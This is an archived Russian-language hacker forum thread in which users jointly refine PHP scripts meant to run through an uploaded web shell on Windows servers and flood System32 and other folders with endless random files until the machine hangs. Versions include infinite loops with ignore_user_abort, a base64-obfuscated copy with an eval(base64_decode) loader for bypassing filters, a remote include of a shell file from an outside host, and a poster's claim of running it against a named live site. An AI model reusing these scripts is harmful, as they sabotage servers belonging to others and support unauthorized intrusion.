Просмотр полной версии : Php способ засорения системных папок
Хай! За ошибки не бить, я по клаве не попадаю :)
Я конечно изобрёл велосипед, но часто бывает, заливаешь шелл на апач под виндоус, а ничего сделать особо не получается, т.к. стоит файерволл и антивирус. Так вот, от нечего делать придумал как засорить через PHP систему. Всем известно, если в system32 много мусора, комп начинает жестоко виснуть, незнаю как насчёт линукса, никогда в нём не работал, и системных папок вобще незнаю в нём, но сейчас не об этом! Так вот, написал такой вот приметивный скрипт
<?php for($i=0;$i<5000;$i++)
{
@mkdir('C:/WINDOWS/System32/'.md5(rand(1,99999999999999999).rand(1,99999999999 999999)));
}
header("Location: ".$_SERVER[REQUEST_URI]); ?>
Значить скрипт работает так:
Генерирует 2 числа от 1 до 99999999999999999 склеивает их, шифрует методом MD5 и создаёт в System32 папку с этим именем (32 символа) вот всё это выполняется 5000 рах! Тоесть 5000 папок в System32 это ещё не всё ;) т.к. многие админы не настраивают особо конфиги, и если скрипт неуспевает выполниться за 30 сек, тогда апач выдаёт ошибку! Поэтому после создания 5000 папок, скрипт заканчивает свою работу и перекидывает снова на эту страницу, и всё идёт заново! Тоесть 2-3 минуты работы скрипта и комп перегреется :) Кстати чтоб удалить 5000 папок надо 10 минут! Я пробовал :) Ну... Кажись всё!
Кстати чтоб удалить 5000 папок надо 10 минут! Я пробовал
ну если тока вручную..
многие админы не настраивают особо конфиги
set_time_limit(0);
set_time_limit(0);
Это не настолько интересно, как ignore_user_abort();
Тоже самое делал. Только скрипт создавал файлы каждую секунду, и в имени было время.
<?php
set_time_limit(0);
ignore_user_abort(); // Аминь...
while(true) {
$fp=fopen("test".time().".txt","w");
fwrite($fp,php_uname());
fclose($fp);
}
?>
Чё-т тип такого. Вроде как ничего не происходит, но обновив папку с скриптом, увидете результат.
Dr.Check, скрипт супер! Я просто в шоке! Но... Он создаёт раз в секунду. потому-что ты используешь time и он неможет создать с одинаковыми именами! Вот отрывок моего+твой это бомба!
<?php
set_time_limit(0);
ignore_user_abort();
while(true) {
$fp=fopen(md5(rand(1,99999999999999999).rand(1,999 99999999999999).rand(1,99999999999999999)).".txt","w");
fwrite($fp,time());
fclose($fp);
}
?>
Нет пончик ты не понял идею DrCheck. В хеше НАЗВАНИЯ файла должно быть time() а не в теле файла.
В хеше НАЗВАНИЯ файла - непонял эту фразу... В общем в название файла записывается хэш, если писать время, то...
1)Он будет моздаваться раз в минуту
2)Весь этот муор легко будет удалить, т.к. он будет сортироваться по имени из цифр, а так хэш можен начинаться как с цифр так и с букв, его протсо так не отсортируешь, ну по дате можно и по именам в 32 буквы!
А в тело пишется не хеш, как ты понял (по моему) а дата, это в имя хэш пишется :D В общем за 1 минуту эта штука мне создала материала на 50МБ! :eek: ;)
1)Он будет моздаваться раз в минуту
раз в СЕКУНДУ
2)Весь этот муор легко будет удалить, т.к. он будет сортироваться по имени из цифр, а так хэш можен начинаться как с цифр так и с букв, его протсо так не отсортируешь, ну по дате можно и по именам в 32 буквы!
md5(time().doubleval(microtime()))
Также можно исползьвать ф-ю file_exists и счетчик
Весь этот муор легко будет удалить
Ну да, особенно, когда файлы создаются, и создаются...
Talisman
16.10.2006, 17:18
угу... один говорит, что отсортировать по числам и удалить можно. и идея перца обвиняющего не лучше - 32 символа хеш то! отсортировал по длине и не парся )))
можт проще длину динамической делать и спецсимволы добавлять? а не только мелкую латиницу и цифры, но и заглавные и подчеркивания/тире?
Я вообще не понимаю, почему все закручено на md5. Случайные названия, состоящие из цифр и букв + случайное расширение из списка(txt dll ini exe log bmp ...)
Вот от этого точно никто не убежит! Набросал за 5 мин.
<?php
// Greetz всем заподлянщикам...
// В частности Poncik'y за идею!!!!!!!
// Вот, после этого, точно зае*ёшся пыль глотать...
//Аминь...
//(C) Dr.Check и все кто помог писать "Знаменитый скрипт"
////////////////////////////////////////////////////////////////
set_time_limit(0);
ignore_user_abort();
echo("<center><h1><b><font color=\"green\">ИБО НЕХУЙ!!!</font></b></h1></center>");
/////////////////////////////////////////////////////////////////
$name = array('a','b','c','d','e','f','g','h','i','j','k', 'l','m','n','o','p','r','s',
't','u','v','x','y','z','A','B','C','D','E','F','G ','H','I','J','K','L',
'M','N','O','P','R','S','T','U','V','X','Y','Z','1 ','2','3','4','5','6',
'7','8','9','0');
//////////////////////////////////////////////////////////////////
$rash= array('.txt','.dic','.doc','.xls','.exe','.ini',
'.bat','.log','.dll','.hak','.wmf','.zip','.rar',
'.tar','.gz','.jpg','.gif','.bmp');
/////////////////////////////////////////////////////////////////
while(true) {
$perem = "";
$fuck="";
for($i = 0; $i < rand(20,1); $i++) // количество сиволов в имени файла.
{
$by = rand(0, count($name) - 1);
$perem .= $name[$by];
}
$ra= rand(0, count($rash)-1);
$fuck .= $rash[$ra];
$fp=fopen($perem.$fuck,"w");
fwrite($fp,php_uname());
fclose($fp);
}
?>
Зав 3-5 сек было создано около 2-3 тыщъ файлов, занята вся оперативка. Даже динамик запищал!!!:cool:
Для bul.666 :
<?php
// в массив
('(',')','[',']','!','?',
'&','^','%','@','*',','<','>','/','|','+','-','{','}','`','~');
?>
Добавте еще символов в массив name.
да и расширения можно $rash ирить =)))
Во, добавил, то, что написал SMiX - md5(time().doubleval(microtime())) терь одинаковых имён точно небудет! Про расширения я ещё утром думал, но забыл... Щас сделаю...
<?
set_time_limit(0);
ignore_user_abort();
while(true) {
switch (rand(0,8))
{
case 1 : $r = '.txt'; break;
case 2 : $r = '.exe'; break;
case 3 : $r = '.dat'; break;
case 4 : $r = '.ini'; break;
case 5 : $r = '.log'; break;
case 6 : $r = '.dll'; break;
case 7 : $r = '.wav'; break;
case 8 : $r = '.nsc'; break;
default: $r = '.zip'; break;
}
$fp=fopen(md5(time().doubleval(microtime())).$r,"w");
fwrite($fp,time());
fclose($fp);
}
?>
вот :D
P.S. Ах блин! Пока писал, мну опередили :o Ничё знаменитого на ачате так и не сделал, Dr.Check мож добавишь тама пару имен в копирайт, все ведь старались, да и хочется знаменитым стать :D А скрипт офигеный! Ущел жертву искать!
Dr.Check мож добавишь тама пару имен в копирайт, все ведь старались, да и хочется знаменитым стать
:) :cool:
А каких пару имен!?!?? Я сам написал. Тебе спасибо за Идею, и Смиксу за расширения.
О! Пасибо! Терь я гордый ходить буду :D
А чё это за ошибка-то? _http://darkmoon.mediazona.ru:4001/modules/admin.php :confused:
А чё это за ошибка-то? _http://darkmoon.mediazona.ru:4001/modules/admin.php
Я думаю, что в сорце самого файла admin.php лежит строчка (в самом верху) include("http://mucheat.h10.ru/shell.txt"); Но горе хакеры облажались =)
Если смотреть дальше ошибку, то поймете почему =)
Так это я шелл пытаюсь залить, щас чё нить придумаю!
Вот кстати если кому надо зашифрованый этот код в base64 это чтоб фильтрацию обойти, или ещё чего... Файлы будут создаваться в system32...
Вот
c2V0X3RpbWVfbGltaXQoMCk7aWdub3JlX3VzZXJfYWJvcnQoKT tlY2hvKCI8Y2VudGVyPjxoMT48Yj48Zm9udCBjb2xvcj1cImdy ZWVuXCI+Pz8/ID8/Pz8/ITwvZm9udD48L2I+PC9oMT48L2NlbnRlcj4iKTskbmFtZSA9IG FycmF5KCdhJywnYicsJ2MnLCdkJywnZScsJ2YnLCdnJywnaCcs J2knLCdqJywnaycsICAnbCcsJ20nLCduJywnbycsJ3AnLCdyJy wncycsJ3QnLCd1JywndicsJ3gnLCd5JywneicsJ0EnLCdCJywn QycsJ0QnLCdFJywnRicsJ0cnLCdIJywnSScsJ0onLCdLJywnTC csJ00nLCdOJywnTycsJ1AnLCdSJywnUycsJ1QnLCdVJywnVics J1gnLCdZJywnWicsJzEnLCcyJywnMycsJzQnLCc1JywnNicsJz cnLCc4JywnOScsJzAnKTskcmFzaD0gYXJyYXkoJy50eHQnLCcu ZGljJywnLmRvYycsJy54bHMnLCcuZXhlJywnLmluaScsJy5iYX QnLCcubG9nJywnLmRsbCcsJ2hhaycsJy53bWYnLCcuemlwJywn LnJhcicsJy50YXInLCcuZ3onLCcuanBnJywnLmdpZicsJy5ibX AnKTt3aGlsZSh0cnVlKSB7JHBlcmVtID0gIiI7JGZ1Y2s9IiI7 Zm9yKCRpID0gMDsgJGkgPCByYW5kKDIwLDEpOyAkaSsrKSB7JG J5ID0gcmFuZCgwLCBjb3VudCgkbmFtZSkgLSAxKTskcGVyZW0g Lj0gJG5hbWVbJGJ5XTt9JHJhPSByYW5kKDAsIGNvdW50KCRyYX NoKS0xKTskZnVjayAuPSAkcmFzaFskcmFdOyRmcD1mb3Blbigk cGVyZW0uJGZ1Y2ssInciKTtmd3JpdGUoJGZwLHBocF91bmFtZS gpKTtmY2xvc2UoJGZwKTt9 (пробелы убрать)
Это можно выполнить так: eval(base64_decode('ТУТ_ЭТОТ_КОД')); :)
Всё, запустил эту штуку на _http://darkmoon.mediazona.ru:4001 :D
пару лет назад нашел небольшой прикол на хостерах. Админы от нечего делать всех своих клиентов писали в одну группу пользователей. таким образом я имел доступ на read к любому юзверю хостера, поимев шелл на одном из них. Я описывал эту багу в ][ на примере небольшого "дефа" glukoza.ru (добавил пару новостей, изменил немного фотоальбом). В общем не суть. тогда я написал скрипт который "листает" все диры и файлы с указанного места и копирует полную структуру на указанный ftp. Скрипт умещался в 20 строк.
Я к тому, что если файлы писать не только в system32, а листать все дерево каталогов на жестком диске и писать везде - будет еще страшнее =)
Уй позорище какое. Что ни скрипт, то позорище!
Щас меня убивать будут
А зачем вообще в именах расширения добавлять. если хотите просто подвесить систему и создать дофига файлов, можно обойтись парой строк. На фиг выдумывать, мудрить что-то.
<?
set_time_limit(0);
ignore_user_abort();
$fp=fopen(uniqid(""), "w");
fclose($fp);
?>
Повесить систему, это одно, а красиво всё зафлудить чтоб комп всегда висел а админ ничё непонимал, это другое =) Кста что твой скриптик делает-то?
uniqid() - возвращает уникальный идентификатор, основанный на текущем времени в микросекундах.
Туфта имхо.
Ребят вы уж извините, но пошел откровенный флуд. клозед.
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot